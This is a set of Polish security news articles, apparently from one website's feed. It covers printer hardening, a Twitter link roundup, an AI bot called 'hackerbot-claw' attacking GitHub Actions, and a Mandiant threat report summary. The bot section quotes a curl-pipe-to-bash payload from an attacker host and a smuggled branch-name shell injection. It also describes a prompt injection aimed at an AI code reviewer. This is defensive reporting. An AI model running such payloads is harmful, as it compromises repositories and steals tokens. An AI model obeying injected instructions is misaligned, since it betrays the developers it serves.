Załóżmy, że masz poukładane serwery, endpointy, segmentację, EDR, SOC nie płacze. Czujesz spokój. Ogród zen. I wtedy przypominasz sobie o drukarkach. W rogu stoi MFP (ang. Multifunction Printer, drukarka wielofunkcyjna) . Niby mebel. A tak naprawdę: komputer z dyskiem, usługami sieciowymi, historią zadań, skanami, adresami e-mail i panelkiem, na którym ludzie klikają wszystko, co mruga. Jeśli zostawisz je w konfiguracji fabrycznej, to nie masz „drukarki”. Masz hosta z dość ciekawą powierzchnią ataku. I cyberninja o tym wie…

 
SPIS TREŚCI

• Rozgrzewka na macie – ustawienia fabryczne jako punkt startowy
• Nie jesteś bezbronny – utwardzanie urządzeń
• Hardening drukarek – jak się do tego zabrać?
• Masz flotę? Potrzebujesz zarządzania

Nie masz czasu na lekturę całości artykułu? Zacznij od filmu! Zobacz, jak patrzymy na to zagadnienie, a po konkrety i przykłady — kontynuuj lekturę artykułu.

Rozgrzewka na macie

Nowoczesne urządzenia wielofunkcyjne są projektowane tak, żebyś mógł je postawić i po 10 minutach usłyszeć: „drukuje!”. Dla użytkownika to ideał: zero pytań, zero błądzenia po ustawieniach, minimalny udział IT.

Takie urządzenie wydrukuje wszystko bez pytania o tożsamość użytkownika. Skanowanie i kopiowanie działają równie swobodnie: jeden szybki ruch, jeden „scan to email”, i dokument z pieczątką wylatuje poza firmę bez śladu w logach. A gdy urządzenie wystawia równocześnie panel webowy, SMB, FTP, WebDAV, SNMP czy IPP, otwiera w murach sieci tyle bram i furtek, ile dróg i ścieżek prowadzi do oblężonego zamku – i zazwyczaj nikt ich nie patroluje.

Do tego dochodzą nieszyfrowane transmisje i domyślne hasła administratora, które nadal są jednym z najczęstszych wektorów ataku.

Jednak z perspektywy bezpieczeństwa ustawienia fabryczne należałoby traktować wyłącznie jako tryb startowy.  Urządzenie bez utwardzonej konfiguracji jest jak wojownik bez zbroi – pierwszy cios cyberninja może go powalić.

Dobra wiadomość: nie jesteś bezbronny.

Zbroją, która będzie Cię chronić jest hardening urządzenia, czyli takie skonfigurowanie jego ustawień, żeby było trudniejsze do zaatakowania, przejęcia albo wykorzystania jako „furtka” do firmowej sieci.

Wystarczy, że robisz to raz, porządnie, a potem utrzymasz jako standard – w duchu NIST SP 800 (800-53/171/88/40) – czyli zestawu wytycznych amerykańskiego National Institute of Standards and Technology dotyczących bezpieczeństwa systemów IT – i z kryptografią, której nie da się zbyć tekstem „to tylko drukarka” (FIPS 140-3).

– Utwardzanie MFP to nie jest ‘włączenie jednego checkboxa’. To dopasowanie urządzenia do polityk bezpieczeństwa organizacji – tak, żeby drukarka była tak samo przewidywalna i kontrolowana jak serwer czy laptop – komentuje Darek Szwed, ekspert Canon Polska w obszarze bezpieczeństwa danych.

Hardening drukarek: Jak się do tego zabrać?

Po pierwsze: Rozpoznaj taktykę przeciwnika. Drukarka też ma swoje słabe punkty, które mogą stać się celem ataku.

Zanim zaczniesz cokolwiek „zabezpieczać”, zrób ten prosty test mentalny: Czy pozwoliłbyś, żeby w twojej sieci stał komputer z dyskiem i kilkoma usługami, którego nikt nie patchuje, nikt nie loguje, a panel admina jest dostępny z VLAN-u użytkowników?

Jeśli odpowiedź brzmi „nie”, to gratulacje. Przy okazji… właśnie opisałeś typową drukarkę w trybie fabrycznym.

Załóżmy, że firma dokonała dobrego wyboru – urządzenia drukujące spełniają normy bezpieczeństwa, mają certyfikowane moduły, wspierają szyfrowanie, audyt, kontrolę dostępu. To jednak tylko pozorne bezpieczeństwo.

Bo urządzenie „prosto z pudełka”: otwiera zbyt wiele portów, udostępnia zbędne protokoły, nie wymusza haseł, pozwala drukować wszystko każdemu, nie szyfruje transmisji, nie zapisuje logów, nie integruje się z żadną polityką firmy…

To jak posiadać najlepszy miecz… i walczyć gołymi rękami.

To nie jest teoria. To jest codzienność w biurach. Domyślna konfiguracja MFP jest wygodna dla użytkownika, ale zdradliwa dla bezpieczeństwa i śmiertelna dla infrastruktury.

Po drugie: Nie klikaj na czuja. Użyj Security Settings Navigator

Jeśli teraz myślisz: „OK, to wejdę w ustawienia i wyłączę wszystko” – stop.
Samuraj nie macha mieczem na oślep.

W japońskim uniwersum możesz sięgnąć po narzędzie typu Security Settings Navigator, które prowadzi cię przez hardening jak mistrz podczas treningu w dojo:

• zadaje kilka pytań o środowisko (dosłownie kilka, bez doktoratu),
• podpowiada zmiany zgodne z dobrymi praktykami NIST: minimalizacja uprawnień, ograniczenie usług, segmentacja, szyfrowanie,
• na końcu daje ci konkretną listę ustawień do wdrożenia.

– W praktyce drukarki rzadko mają  przypisanego jednego „właściciela”, a w efekcie są trochę niczyje. Admin sieci widzi je jako kolejny adres IP do ogarnięcia, security skupia się na serwerach i firewallach, a sama drukarka ląduje gdzieś pomiędzy – podłączona do sieci, z własnym systemem i usługami, których nikt na co dzień nie pilnuje.

Security Settings Navigator pomaga domknąć ten temat bez zgadywania. Zamiast klikania „na wyczucie” prowadzi krok po kroku i zamienia ogólne zasady bezpieczeństwa w konkretne, sensowne ustawienia urządzenia. Bez wróżenia z fusów i przypadkowego klikania wszystkiego, co da się wyłączyć – mówi Daniel Mazur, dyrektor działu technicznego w Inforoffice Polska.

Po trzecie: Spójrz zagrożeniom w oczy.

Chcesz prostą zasadę NIST-ową, która robi największą różnicę? Powiąż operacje z tożsamością.

Jeśli dziś u ciebie jest tak:

• każdy może podejść i wydrukować/zeskanować,
• „PIN jest wspólny”,
• logi są „jakieś” albo żadne,

to masz idealne warunki, żeby w razie incydentu ktoś powiedział: „to nie ja” – i na tym kończy się badanie ścieżek wroga.

Zrób więc to, co robisz w innych systemach:

• włącz uwierzytelnianie (karta/PIN/SSO),
• rozdziel role (użytkownik vs admin vs użytkownik vs serwis),
• ogranicz funkcje zależnie od roli,
• loguj i audytuj.

– Największa różnica ‘po hardeningu’ to moment, w którym operacje na MFP przestają być anonimowe. Jeśli drukujesz, kopiujesz, skanujesz – to jest to przypięte do tożsamości – dodaje Daniel Mazur, Inforoffice Polska.

Po czwarte: Zamknij zbędne bramy. Mniej protokołów = mniej problemów

Teraz robisz ulubioną część adminów: redukcję powierzchni ataku. Wyobraź sobie MFP jako zamek. Jeśli masz 12 bram, to cyberninja nie musi być geniuszem – wystarczy, że jedna jest uchylona.

Twoje zadanie:

• wyłącz protokoły, których nie używasz (serio, nie używasz),
• zostaw tylko te, które są potrzebne do realnych procesów,
• zabezpiecz panel administratora: tylko HTTPS i dostęp wyłącznie z określonych adresów/VLANów.
• kontroluj pozostałą komunikację: skonfiguruj ACL/filtry IP i segmentację.

To jest dokładnie ta część, w której drukarka przestaje być „łatwym celem”.

Po piąte: “Szyfruj albo giń” + FIPS 140-3

Tu wchodzimy na poziom, gdzie nie da się już powiedzieć: „to tylko drukarka”. MFP przetwarza dane. Czasem bardzo wrażliwe.

To oznacza, że:

• dane w spoczynku (na dysku),
• dane w tranzycie (po sieci),
• tożsamość i rozliczalność (kto, co, kiedy zrobił)

…muszą być chronione jak w każdej innej części IT.

FIPS 140-3 jest standardem certyfikacji modułów kryptograficznych. Nie chodzi o to, żebyś teraz recytował listę algorytmów. Chodzi o to, żeby kryptografia w urządzeniu była sprawdzalna, aktualna i sensownie wdrożona.

W praktyce:

• szyfrujesz dane na dysku (żeby kradzież urządzenia nie była kradzieżą danych),
• wymuszasz TLS/HTTPS (żeby wydruki i skany nie latały “plaintextem”),
• spinasz urządzenie z katalogiem/SSO (żeby operacje były przypisane do użytkownika).

– Kryptografia i tożsamość to dwa filary. Jeśli drukujesz bez autoryzacji i bez szyfrowania, to nawet najlepszy firewall nie uratuje cię przed własną infrastrukturą – dodaje Dariusz Szwed, Canon Polska.

Po szóste:Posprzątaj po sobie. Bufory i historie to też dane

NIST 800-88 mówi o sanitizacji danych. Brzmi prawie tak samo jakbym mówił do Ciebie po japońsku?

W odniesieniu do MFP oznacza to: nie zostawiaj śladów, które ktoś może później wykorzystać przeciw Tobie.

Sprawdź/włącz:

• automatyczne czyszczenie danych zadań i buforów,
• nadpisywanie danych tam, gdzie jest wspierane,
• sensowną retencję logów (żeby pomagały, a nie szkodziły).

To jeden z tych rytuałów, których znaczenia często się nie docenia, dopóki nie nadejdzie czas próby, a audyt lub incydent nie odsłoni prawdy…

Po siódme: Pokaż mi porty, a powiem ci, czy Twoja twierdza przetrwa oblężenie

Przed hardeningiem często zobaczysz:

• dużo otwartych portów,
• kilka aktywnych usług „bo tak”,
• admina dostępnego z sieci użytkowników,
• brak twardego wymuszenia szyfrowania.

Po wdrożeniu polityk w duchu NIST i FIPS:

• portów robi się wyraźnie mniej (czasem drastycznie),
• zostają tylko potrzebne usługi,
• admin jest w kontrolowanej strefie,
• komunikacja jest szyfrowana,
• stare protokoły znikają.

To nie jest kosmetyka. To jest realna zmiana profilu obrony: ograniczona powierzchnia ataku, większa szansa na przetrwanie, gdy nocą do bram podejdzie wróg.

Security Settings Navigator oczywiście nie jest lekarstwem na wszystko.
Masz flotę? Potrzebujesz zarządzania.

Jeśli masz jedną drukarkę, możesz przemierzać drogę bezpieczeństwa jako wojownik samotnik, który zna każdy port, każdą usługę, każdy ruch maszyny. Jeśli masz ich 80… to już nie jest nawet dojo, tylko pełnowymiarowe pole bitwy, włączające konieczność strategicznego planowania.

Security Settings Navigator ma sens szczególnie dla małych środowisk lub pojedynczych urządzeń.

Przy dużej skali nie chodzi już tylko o ochronę. Chodzi o dyscyplinę – o to, by każde urządzenie, w każdej lokalizacji, działało zgodnie z jedną ścieżką, jednym kodeksem.

Do tego potrzeba już narzędzi zdolnych do:

• masowych zmian konfiguracji,
• weryfikacji zgodności,
• aktualizacji,
• raportów pod audyt

I ten wątek otwiera kolejną sagę o Samuraju, który strzeże firmowych danych.

Hardening jest rytuałem wejścia, a utrzymanie zgodności – dowodem, że wojownik pozostaje wierny swojemu przeznaczeniu.

Zanim jednak do niego przejdziemy — słowo wyjaśnienia, dlaczego na Twitterze pojawiają się treści, których nie widać na Niebezpiecznik.pl.

Dlaczego Twitter?

Od zawsze staramy się, aby na Niebezpiecznika trafiały dłuższe, przemyślane i mocno merytoryczne publikacje. Bo Niebezpiecznik to serwis internetowy, a nie platforma społecznościowa. Nie każdy wpis z Twittera da się rozwinąć do tego typu formy — a na siłę nie ma sensu tego robić. Coś co może być jednym zdaniem, lepiej żeby pozostało jednym zdaniem, a nie przepełnionym miałką treścią artykułem na 15 akapitów. To pierwszy, najważniejszy powód. Drugim powodem jest to, że na Twitterze często podajemy lub “retwitujemy” dalej cudze treści bez jakiegokolwiek opisu. To zdecydowanie szybsze i mniej pracochłonne niż pełnoprawna publikacja na Niebezpieczniku.

I żeby było jasne — Twitter nie jest idealną platformą (wręcz jest bardzo nieidealną), ale ze uważamy, że jeśli chodzi o obszar IT Security, to ze wszystkich social mediów jest platformą najlepszą, jeśli chodzi o ilość i jakość wiedzy oraz prędkość jej pozyskiwania (jeśli się wie, kogo śledzić). Dlatego tych z Was, którzy zajmują się cyberbezpieczeństwem zawodowo, zachęcamy do obserwowania naszego profilu — abyście trzymali rękę na pulsie, bo to w naszej branży jest szalenie istotne. Np. opisywany przez nas tydzień temu na Twitterze hack Polymarketu suszarką niektóre serwisy opisuję dopiero dziś, po tygodniu…

Reszcie naszych Czytelników, mamy nadzieję, że wystarczą takie podsumowania jak to.

1. Film pokazujący narzędzie “Maven” od Palantira w akcji.
2. Ostrzeżenie o awarii Polcardu
3. Ciekawy wątek o antenach szpiegowskich na dachu rosyjskiej ambasady w Wiedniu
4. Wątek o “wycieku danych” z seriwsu do vibecodingu: Lovable
5. Video laptopa z 1989 — uwaga, uronicie łzę.
6. Historia o tym jak ktoś wygrał kupę kasy w zakładzie na Polymarket …suszarką, którą sztucznie podbił temperature w okolicach czujnika na lotnisku.
7. O chaosie w Zondzie
8. O tym że wszędzie większość treści to już prawie treści generowane przez AI
9. O tym jak kopanie prądem porfeli bitocoinowych pomaga wykraść z nich środki.
10. Porady co do bezpiecznego sposobu na kasowanie kont z serwisów internetowych.
11. O tym jak typy z Discorda uzyskały dostęp do Mythosa od Anthropica na lewo
12. Komunikat dla użytkowników Jiry i Confluence o tym, że mają czas do 27 sierpnia aby wypisać się z użycia ich danych do szkolenia modeli AI.
13. Opis ciekawego sposobu na wyciek danych z iPhona i poprawki bezpieczeństwa do iOS
14. Demo narzędzia do spoofingu GPS
15. O ataku na niemieckich polityków przez Signala.
16. A tego posta to zacytujemy w całości bo śmieszny:
    

    Kamil napisał: "W naszej firmie właśnie ruszyła fala zwolnień ze względu na AI. Okazało się, że kosz tokenów modeli AI zrobił się tak duży, że anulowaliśmy 5 subskrypcji narzędzi AI i zatrudniliśmy 2 senior programistów"

    — Niebezpiecznik (@niebezpiecznik) April 23, 2026

17. O ataku na skaner kodu Checkmarx i ryzykach z tym związanych dla jego użytkowników
18. Apel aby uważać na wyszukiwarkę tanich lotów Kiwi
19. Komentarz do smutnej historii przedsiębiorcy, który chciałby korzystać z systemów rządowych na 16 letnim komputerze.
20. Opis zhackowania Bitwardena CLI
21. O tym że Chińczycy destylują Amerykanów
22. O taśmach Suszek – Zaorski i długach liczonych w milionach
23. Test autotłumaczenia
24. O kolejnej osobie, która ograła Polymarket: żołnierzu USA co zarobił 1,5 miliona złotych.
25. Memik na temat wykorzystania tokenów AI w firmach
26. O upadających programach Bug Bounty
27. O chińskim detektorze StarLinków
28. Komentarz do fakenewsa na temat sprzedaży danych klientów Zondy
29. Informacja o inwestycji Google w Anthropic: 40 miliardów dolarów.
30. O nowych ustawieniach treści w Twitterze
31. O hacku Ukraińców spotkania rekrutacyjnego, na którym zachęcano studentów do wstąpienia do armii
32. O dużej akcji rozmontowania azjatyckiego scam center które robiło wały “na romanse”, “na pracownika banku” itp.
33. O tym, że ograniczenie wieku w Australii w dostępie do social mediów nie zadziałało.
34. O teściach w osobnym VLAN-ie
35. O wzrastającej fali ataków fizycznych na kryptowalutowych Francuzów
36. O tym, że najsławniejsza zbiórka w polskim internecie (łatwogang) rozłożyła serwery siepomaga

Dajcie znać, czy takie podsumowania jak to mają dla Was wartość? Czy mamy je kontynuować? A może wyobrażacie sobie je inaczej? Jeśli tak — co dodać, co zmienic?

Jak wygląda hacking na autopilocie?

Jak opisują sprawę badacze ze StepSecurity, hackerbot-claw na celownik wziął GitHub Actions — czyli popularne mechanizmy CI/CD (systemy automatyzacji budowania, testowania i wdrażania kodu) w tych projektach:

microsoft/ai-discovery-agent
‍DataDog/datadog-iac-scanner
‍avelino/awesome-go (140k+ stars)
ambient-code/platform
project-akri/akri (a CNCF project)
aquasecurity/trivy (full repository compromise)
RustPython/RustPython (20k+ stars)

Bot zawsze wstrzykiwał ten sam payload:

curl -sSfL hackmoltrepeat.com/molt | bash

Ale 5 różnymi wektorami ataku… Najciekawszym z nich był tzw. “Pwn Request“. Bot wykorzystał workflow typu “pull_request_target“, które domyślnie posiada dostęp do sekretów docelowego repozytorium. Tworząc PR, bot wstrzykiwał złośliwy kod (np. do pliku konfiguracyjnego lub nawet w samą nazwę nowej gałęzi), a serwery budujące bezmyślnie go wykonały. W efekcie wykradał “GITHUB_TOKEN” z uprawnieniami do zapisu.

Pozostałe techniki, to m.in. wstrzykiwanie złośliwego kodu do skryptów (np. dodanie funkcji “init()” w języku Go), wstrzykiwanie poleceń powłoki (bash) poprzez specjalnie spreparowane nazwy gałęzi (dev$({curl,-sSfL,hackmoltrepeat.com/molt}${IFS}|${IFS}bash)) lub nazwy plików, zawierające zakodowane w Base64 komendy.

Najciekawszym atakiem był AI Prompt Injection — bot podmienił plik konfiguracyjny projektu, z którego korzystało narzędzie “Claude Code” (jako AI do code review), instruując swojego “bliźniaka”, by sam zatwierdziła złośliwy kod i przepchnął zmiany! Piękne, ale to się akurat nie udało, bo na szczęście, asystent zachował się wzorowo — zidentyfikował manipulację w swoim pliku konfiguracyjnym, odmówił wykonania złośliwych operacji i opublikował komentarz ostrzegający programistów: “Do Not Merge”.

Przejęcie Trivy i kradzież tokenów

Najpoważniejsze konsekwencje poniósł projekt Trivy (Aqua Security), który — jak na ironię — jest skanerem podatności. Bot z powodzeniem wykradł Personal Access Token o szerokich uprawnieniach i użył go, aby:

• Przekształcić repozytorium na prywatne i zmienić jego nazwę.
• Skasować wszystkie wydania (GitHub Releases) z kilku lat.
• Wypuścić podejrzany artefakt jako rozszerzenie Trivy w sklepie Open VSIX (czyli atak na programistów przez “łańcuch dostaw”).
• Zostawić w pliku README.md ironiczną wiadomość.

Używam Github Actions, co robić, jak żyć?

Jeśli zostawicie gdzieś niezabezpieczony workflow w GitHub Actions, prędzej czy później odwiedzi go “autonomiczny badacz” i zrobi Wam jesień średniowiecza w repozytorium. Dlatego

• Zawsze stosujcie zasadę najmniejszych uprawnień dla tokenów. GITHUB_TOKEN powinien mieć tylko uprawnienia do odczytu (contents: read), chyba że zapis jest absolutnie konieczny.
• Nigdy nie używajcie akcji “actions/checkout” z niezaufanym kodem w połączeniu z “pull_request_target”.
• Zablokujcie też nieautoryzowany ruch sieciowy z maszyn wirtualnych CI/CD (np. wychodzące żądania curl), co zapobiegnie pobraniu złośliwego payloadu lub wysłania w siną dal wykradzionego tokena.

AI atakuje AI, czyli nowa rzeczywistość

Historia bota “hackerbot-claw” to dowód na to, że zmienia się krajobraz zagrożeń. Wkroczyliśmy w erę, w której agenty AI atakują inne agenty AI. Szczególnie ciekawy (i przerażający) jest tu atak za pomocą wstrzykiwania promptu (Prompt Injection) do pliku konfiguracyjnego.

Rozważamy cyk webinarów na temat szeroko rozumianego AI i bezpieczeństwa (zarówno od strony użytkownika jak i developera). Zainteresowany? To zostaw nam maila w polu poniżej — jak cykl wystartuje, wyślemy Ci powiadomienie:

Wpisz adres e-mail:

Rozwiąż Captcha:

HP

Bez obaw, podanych e-maili nikomu nie przekazujemy i wykorzystamy je wyłącznie do przypominania Ci o naszych wydarzeniach. Jeśli lubisz czytać o RODO, kliknij tutaj.

Oto najciekawsze smaczki, które warto znać z perspektywy Blue Teamów, Red Teamów i zwykłych adminów (rymy przypadkowe):

Phishing e-mailowy wypierany przez vishing, czyli ataki socjotechniczne przez telefon

To jedna z największych zmian w statystykach. Od sześciu lat wektorem nr 1 pozostaje wykorzystanie exploitów (32%). W 2025r. najczęściej dziurawiono SAP NetWeaver, Oracle E-Business Suite oraz Microsoft SharePoint. Ale uwaga: wektorem nr 2 nie jest już klasyczny phishing e-mailowy (spadek z 14% na zaledwie 6%). Na jego miejsce z wynikiem 11% wskoczył vishing oraz socjotechnika przez komunikatory. Kopsniesz mi 200 ziko blikiem, oddam jutro.

Na trzecim miejscu (10%) jest atak na łańcuch dostaw lub oprogramowanie firm trzecich (w tym SaaS).

Szyfrowanie startuje po 30 sekundach od ataku

Cyberjełopy się wyspecjalizowały. Grupy zajmujące się uzyskiwaniem początkowego dostępu (Initial Access Brokers) masowo infekują ofiary za pomocą np. złośliwych reklam (malvertising) lub fałszywych komunikatów w przeglądarce — popularny motyw ClickFix/InstallFix, który jako chyba pierwsi zauważyliśmy i opisaliśmy we wrześniu 2024. Chodzi o wyskakujące okienko namawiające do wklejenia np. kodu do konsoli PowerShell.

Kiedyś IAB wystawiał uzyskane dostępy na grupach lub forach i czekał na kupca (np. operatora ransomware). W 2022r. mediana czasu od infekcji do przekazania dostępu wynosiła 8 godzin. W 2025 roku ten czas spadł do… 22 sekund. Tak, proces został zautomatyzowany. Malware (np. FAKEUPDATES) od razu pobiera i instaluje backdoora docelowej grupy (np. RansomHub). Z punktu widzenia SOC-u oznacza to, że alert o “nisko-priorytetowym” malware z przeglądarki musi być traktowany jako krytyczny incydent P1, bo już po kilku minutach napastnik zacząć może lateral movement.

Tu ciekawostka: Grupy APT wbijają się na brzegowe urządzenia sieciowe (wykorzystując 0-daye lub luki n-day), zakładają na nich własne konta, uruchamiają SSH na niestandardowych portach i puszczają sniffery pakietów, aby wyłapywać hasła latające po sieci w cleartext’cie.

Ransomware to już nie tylko szyfrowanie. To “Recovery Denial”

Złote czasy, gdy ransomware tylko szyfrował pliki, a ofiara po prostu odtwarzała je z backupu, minęły bezpowrotnie — o tym też na Niebezpieczniku mogliście usłyszeć wielokrotnie. Głównym celem grup RaaS (Ransomware-as-a-Service) stała się teraz infrastruktura backupowa. Napastnicy wiedzą, że jeśli zniszczą kopie zapasowe to ofiara będzie bardziej skora do zapłaty. Kradną poświadczenia do serwerów backupu, hasła do macierzy NAS czy chmurowych bucketów i trwale kasują kopie zapasowe albo szyfrują to, co zostało. Pozyskują też całą bazę ntds.dit z kontrolerów domeny (często robiąc snapshoty maszyn wirtualnych z poziomu hypervisora, omijając w ten sposób EDR-y na hostach), korzystajż z GPO lub Microsoft Endpoint Manager aby pchnąć ransomware od razu, jednocześnie na tysiące stacji roboczych. Czasem, EDR może to zablokować, więc atakujący jeśli mogą, to szyfrują pliki .vmdk bezpośrednio na datastorze hypervisora.

Zarówno zaawansowane grupy szpiegowskie (np. z Chin, jak UNC5807 czy UNC5221), jak i cyberprzestępcy często celują w urządzenia, na których nie da się zainstalować agenta EDR. Chodzi np. o firewalle, routery, VPN oraz hypervisory (VMware ESXi, vCenter). Hypervisor wykorzystują jako kryjówkę. Zamiast atakować wirtualki, napastnik przejmuje HV i stawia na nim własną, “niewidzialną” (zarządzaną przez emulator QEMU) maszynę wirtualną. Nie widać jej w konsoli vCenter, nie skanują jej firmowe antywirusy, a służy ona do tunelowania ruchu z C2.

OAuth > Hasła

Zabezpieczasz chmurę i masz MFA? Świetnie. A co z integracjami? Atakujący (np. APT29 czy grupy finansowe) masowo atakują stacje robocze developerów, by wykradać tokeny. Skanują też repozytoria kodu w poszukiwaniu na twardo zaszytych kluczy API. Kradzież tokenów sesyjnych (cookies) oraz refresh tokenów OAuth to również często wykorzystywane techniki. Pozwala to na całkowite ominięcie MFA. Dodatkowo, przestępcy żerują na źle zescope’owanych uprawnieniach dla aplikacji firm trzecich (np. integracja, która ma tylko czytać logi, dostaje uprawnienia pozwalające na kasowanie bucketów).

Ten kolega jest też kolegą Kima!

Trend, o którym pisaliśmy już wielokrotnie na Niebezpieczniku, wciąż rośnie. Północnokoreańscy “specjaliści IT” masowo zatrudniają się w zachodnich firmach pod fałszywymi tożsamościami. W 2025 roku stanowili oni aż 6% wszystkich incydentów wewnętrznych. Co ciekawe, ich mediana czasu przebywania w sieci wynosiła aż 122 dni. Główny cel to pobieranie zachodniej pensji i transferowanie jej reżimowi, ale Mandiant odnotował też przypadki przekupywania innych pracowników (lub podwykonawców), aby ci udostępnili im swoje korporacyjne poświadczenia, co prowadziło do kradzieży danych i prób wymuszeń.

Co robić, jak żyć w 2026?

Raport Mandianta mówi jasno: koncepcja obrony oparta wyłącznie na blokowaniu to przeszłość. Należy przejść na model “Active Resilience”. Czyli?

• Chroń Tier-0 i hypervisory. vCenter i serwery backupu nie mogą być wpięte do tego samego Active Directory, co reszta firmy. Złamanie jednego admina domenowego nie może oznaczać padnięcia środowiska wirtualnego i backupów.
• MFA na wszystko i ograniczenie OAuth. Nie pozwalaj userom na dowolne klikanie “Zezwól” dla aplikacji firm trzecich w Google Workspace czy MS365. Zabezpieczaj logowania adminów kluczami FIDO2.
• No i loguj to, czego EDR nie widzi, zbieraj i analizuj logi z vCenter, firewalli i switchy. Szukaj w nich tworzenia nowych ról, snapshotów czy dziwnych logowań SSH. Jak to robić, możesz dowiedzieć się z naszego ostatniego webinara “SOC w Praktyce“.
• Reaguj natychmiast na “błahe” alerty. Jeśli antywirus ubije skrypt z przeglądarki (np. malware “Kliknij tu, aby naprawić błąd wtyczki”), nie zamykaj zgłoszenia — sprawdź dokładnie, czy ułamek sekundy wcześniej nie poszło połączenie zwrotne (reverse shell).

A jeśli jesteś administratorem, który dba o bezpieczeństwo firmowej sieci, wpadnij na nasze szkolenie pt. “Bezpieczeństwo Sieci Komputerowych (testy penetracyjne)” — przez 3 dni w specjalnym labie uczymy jak przejmowane są sieci i jak wytropić atakującego. Minimum teorii, maksimum praktyki. Szkolenie kończy się, kiedy masz uprawnienia administratora na każdej maszynie A po drodze uczysz się technik, z których korzystają atakujący, co pozwoli Ci szybciej ich namierzyć w swojej infrastrukturze. Poniżej najbliższe terminy tego szkolenia: